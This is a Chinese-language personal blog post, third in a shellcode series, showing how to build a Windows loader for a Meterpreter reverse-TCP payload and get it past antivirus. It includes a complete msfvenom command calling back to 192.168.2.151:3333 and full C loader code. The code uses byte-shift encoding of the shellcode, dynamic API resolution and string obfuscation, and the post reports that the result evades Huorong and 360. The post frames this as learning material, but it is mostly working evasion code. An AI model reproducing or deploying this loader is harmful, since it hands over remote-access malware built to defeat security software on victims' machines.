休止千鹤 | 我依旧是一名平凡的学生
我们已经有两篇文章介绍了shellcode, 并且简单探讨了如何用C加载shellcode和shikata_ga_nai
编码的特征.
如果你不知道什么是shellcode,绕过杀毒软件的思路是什么,特别推荐你去看看前文:
Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode
Shellcode初探[2]: 构造meterpreter shellcode并简单免杀(Linux)
不过以上两篇基本还是在Linux操作系统中. 实战中我们遇到的系统更多是windows. 而且windows中的情况更加多变: 人们经常使用各种各样的反病毒软件.
这篇文章, 很抱歉, 也算我自己写的时候有些素材没有整理到位, 起初我只测了火绒
和VirusTotal
(因为我Windows的机器上只有火绒), 但是在VirusTotal
上杀软查杀非常诡异, 而且学习很快. 这篇文章我写了几天, 第一天时能VT能绕过很多的, 两天后再想起截图效果就很差了. 我打算按照:
这样的顺序撰写文章, 介绍常用的免杀技术. 可惜, Windows中哪怕是Hello world程序都可能被在VirusTotal上查杀.比如下图, xor.exe
只是一个处理字符串的程序, 尽管我删掉了敏感明文, 甚至删除掉了xor
操作换为凯撒位移, 什么都不做尽管如此还是有18/70报毒. 这样我们难以通过VirusTotal的检测来判断我们的处理是否有效. 导致休止千鹤被自己打脸频发, 场面一度尴尬.
最后我被迫无奈在虚拟机上装了火绒
和360
作为测试对象.
(免责: 这篇文章涉及到的内容当前有效, 但是都是公开的基本技术, 本文只是作为学习介绍这种思路的一个例子. 而且我已经提交到了VirusTotal.)
首先我们需要用msfvenom
生成一个shellcode.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.151 LPORT=3333 -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 5 -f c > meterpreter.c
然后我们编写一个针对Windows的加载器, 和前文Linux的加载器思路类似. 只不过调用的函数不同.
上文中, 我们:
我C基础比较马虎, 轻喷.
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main() {
// 将上面的汇编代码编译为机器代码,并将其存储在一个字节数组中
unsigned char shellcode[] = "\xbd\x62\x67......";
size_t length = sizeof(shellcode);
for(int i=0; i<length ; i++){
printf("\\x%x",shellcode[i]);
}
// 为shellcode分配内存
void *exec_shellcode = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将shellcode复制到新分配的内存中
memcpy(exec_shellcode, shellcode, length);
// 创建一个新的线程来执行shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_shellcode, NULL, 0, NULL);
if (hThread == NULL) {
printf("创建线程失败,错误代码: %u\n", GetLastError());
return 1;
}
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 释放分配的内存
VirtualFree(exec_shellcode, 0, MEM_RELEASE);
return 0;
}
编译这个代码, exe一生成火绒就报毒.
VirusTotal更是给出了37/70
的”好成绩”
还记得在前一篇文中我们的一个迷之操作吗? 因为我们发现即便excellent如shikata_ga_nai
, 处理过的shellcode依旧是有特征的. 毕竟Meterpreter
和shikata_ga_nai
已经是重点关注对象了, 不处理的话肯定不行.
于是我们上一篇文中, 提前把shellcode每个字节减去1, 然后再在C代码memcpy()
之前把shellcode每个字节加上1还原回来.
这个方法让Linux的Meterpreter直接通过所有杀毒软件查杀.
搞乱shellcode, 隐蔽特征总是很有效的.(然后就打脸了)
提前用python处理好shellcode, 然后在加载器C代码里加一个函数
void increment_hex_string(unsigned char *hex_string, size_t len) {
for (size_t i = 0; i < len; i++) {
hex_string[i]++;
}
}
并且记得在memcpy()
之前加上…编译…
然后火绒立刻报毒,
不仅如此, 我们看看VirusTotal:
休止千鹤啊你这脸算是打的啪啪响了.
像上面的代码, 我们直接调用了系统函数. 这样的话会在PE文件中的头部留下我们这个程序需要调用的外部函数.
正如之前一样, 我们可以用工具cutter
一探究竟.
我们使用之前编译的exe直接拖进cutter
.
在这里我们能看到, 导入表中有VirtualAlloc
函数. 我们还能看见在导入表(Import Table)中的地址, 我们直接跟进Hexdump. 哦, 原来这里是导入地址表(Import Address Table)
眼尖的话, 你还能看到下面有ASCII的VirtualAlloc
. 那里是导入表的名称表(Import Name Table). 关于IAT和INT的关系这里就不展开了.
我们发现: 这个二进制文件里包括了我们导入函数的字符串(这是个伏笔, 一个坑…)
而且我们还能找到我们代码里调用的其他几个函数, 这几个函数同时出现, 就很可疑了.
怎么办呢? 我们需要掩盖我们的意图, 那么, 我们可以动态调用这些函数. 下面是一个简单的例子, 和我们正在做的事儿没啥关系. 接下来我们看看怎么动态加载.
LoadLibrary
动态加载了kernel32.dll
.GetProcAddress
获取VirtualAlloc
函数地址.VIRTUALALLOC
类型的函数指针, 指向Kernel32.dll
中的VirtualAlloc函数地址. 并且命名为VirtualAllocFunc
VirtualAllocFunc
试着分配了一点内存,typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
HMODULE kernel32_dll = LoadLibrary("kernel32.dll");
VIRTUALALLOC VirtualAllocFunc = (VIRTUALALLOC)GetProcAddress(kernel32_dll, "VirtualAlloc");
SIZE_T allocation_size = 4096;
LPVOID allocated_memory = VirtualAllocFunc(NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
我修改了代码, 并且编译.
你们猜怎么着?
一编译出来就被火绒干掉了. VirusTotal忘了截图. 反正结果不怎么好.
接下来就是一点一点尝试, 比如删掉一段代码, 看看有什么反应. 其间改了好几次, 每一次修改的源码也不可能保存. 反正问题出的莫名其妙. 删掉最有嫌疑的, 没用. 随便删删, 又好了.
甚至写了一个xor混淆, 看看xor有没有用, 结果是几乎没啥变化.
然后突然想到, woc, 这不是还有字符串没处理嘛?
看上面的代码, 出现了VirtualAlloc. 然后我拿去混淆了. 就在这个时候, 混淆器也被报毒了.
感觉顿时有了线索. 一通修改后果然好了.
原来火绒会检索整个二进制文件, 查找有没有出现过敏感函数名称.
最后写了一个很难看的代码混淆了所有字符串解决了这个问题.(没错还是加一减一大法)
#include <stdio.h>
#include <string.h>
#include <windows.h>
typedef void* (WINAPI *VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef HANDLE (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef void* (*MEMCPY_FUNC)(void* dest, const void* src, size_t count);
void increment_hex_string(unsigned char *hex_string, size_t len) {
for (size_t i = 0; i < len; i++) {
hex_string[i]++;
}
}
char *shift_string_by_one(const char *input) {
size_t len = strlen(input);
char *output = (char *)malloc(len + 1);
if (output == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
for (size_t i = 0; i < len; ++i) {
output[i] = input[i] + 1;
}
output[len] = '\0';
return output;
}
int main() {
unsigned char shellcode[] = "\xda\xca......blabla";
char *va = "Uhqst`k@kknb";
char *ct = "Bqd`sdSgqd`c";
char *mc = "ldlbox";
char *k32 = "jdqmdk21-ckk";
char *msvcrt = "lrubqs-ckk";
va = shift_string_by_one(va);
ct = shift_string_by_one(ct);
mc = shift_string_by_one(mc);
k32 = shift_string_by_one(k32);
msvcrt = shift_string_by_one(msvcrt);
size_t length = sizeof(shellcode);
increment_hex_string(shellcode, length);
HMODULE kernel32_dll = LoadLibrary(k32);
HMODULE msvcrt_dll = LoadLibrary(msvcrt);
VIRTUALALLOC VIALFunc = (VIRTUALALLOC)GetProcAddress(kernel32_dll, va);
CREATETHREAD CreateThreadFunc = (CREATETHREAD)GetProcAddress(kernel32_dll, ct);
if (CreateThreadFunc == NULL) {
printf("Failed to find CT function\n");
FreeLibrary(kernel32_dll);
return 1;
}
MEMCPY_FUNC memcpy_func = (MEMCPY_FUNC)GetProcAddress(msvcrt_dll, mc);
if (memcpy_func == NULL) {
printf("Failed to find MC function\n");
FreeLibrary(msvcrt_dll);
return 1;
}
for(int i=0; i<length ; i++){
printf("\\x%x",shellcode[i]);
}
void *exec_shellcode = VIALFunc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec_shellcode, shellcode, length);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_shellcode, NULL, 0, NULL);
if (hThread == NULL) {
printf("创建线程失败: %u\n", GetLastError());
return 1;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFree(exec_shellcode, 0, MEM_RELEASE);
return 0;
}
最终结果:
但是, VT的结果貌似就比较难看了.
当初我记得还是十几, 和前文那个xor.exe
差不多, 这会就到24/70了
免杀就是一场猫鼠游戏.
本文主要提供思路, 我们可以通过加密, 混淆来处理shellcode. 同时我们也需要关心如何让自己的程序看起来不是那么可疑. 文中我们用了效果马马虎虎的”加一减一”和动态加载就是例子. 尽管这些技术远远不算先进, 但是单凭结果, 最终能绕过这两款杀软, 我还是满意的.
下一篇文章讲什么呢? 我还没想好…
Views:
Comments
(no comments...maybe you can be the first?)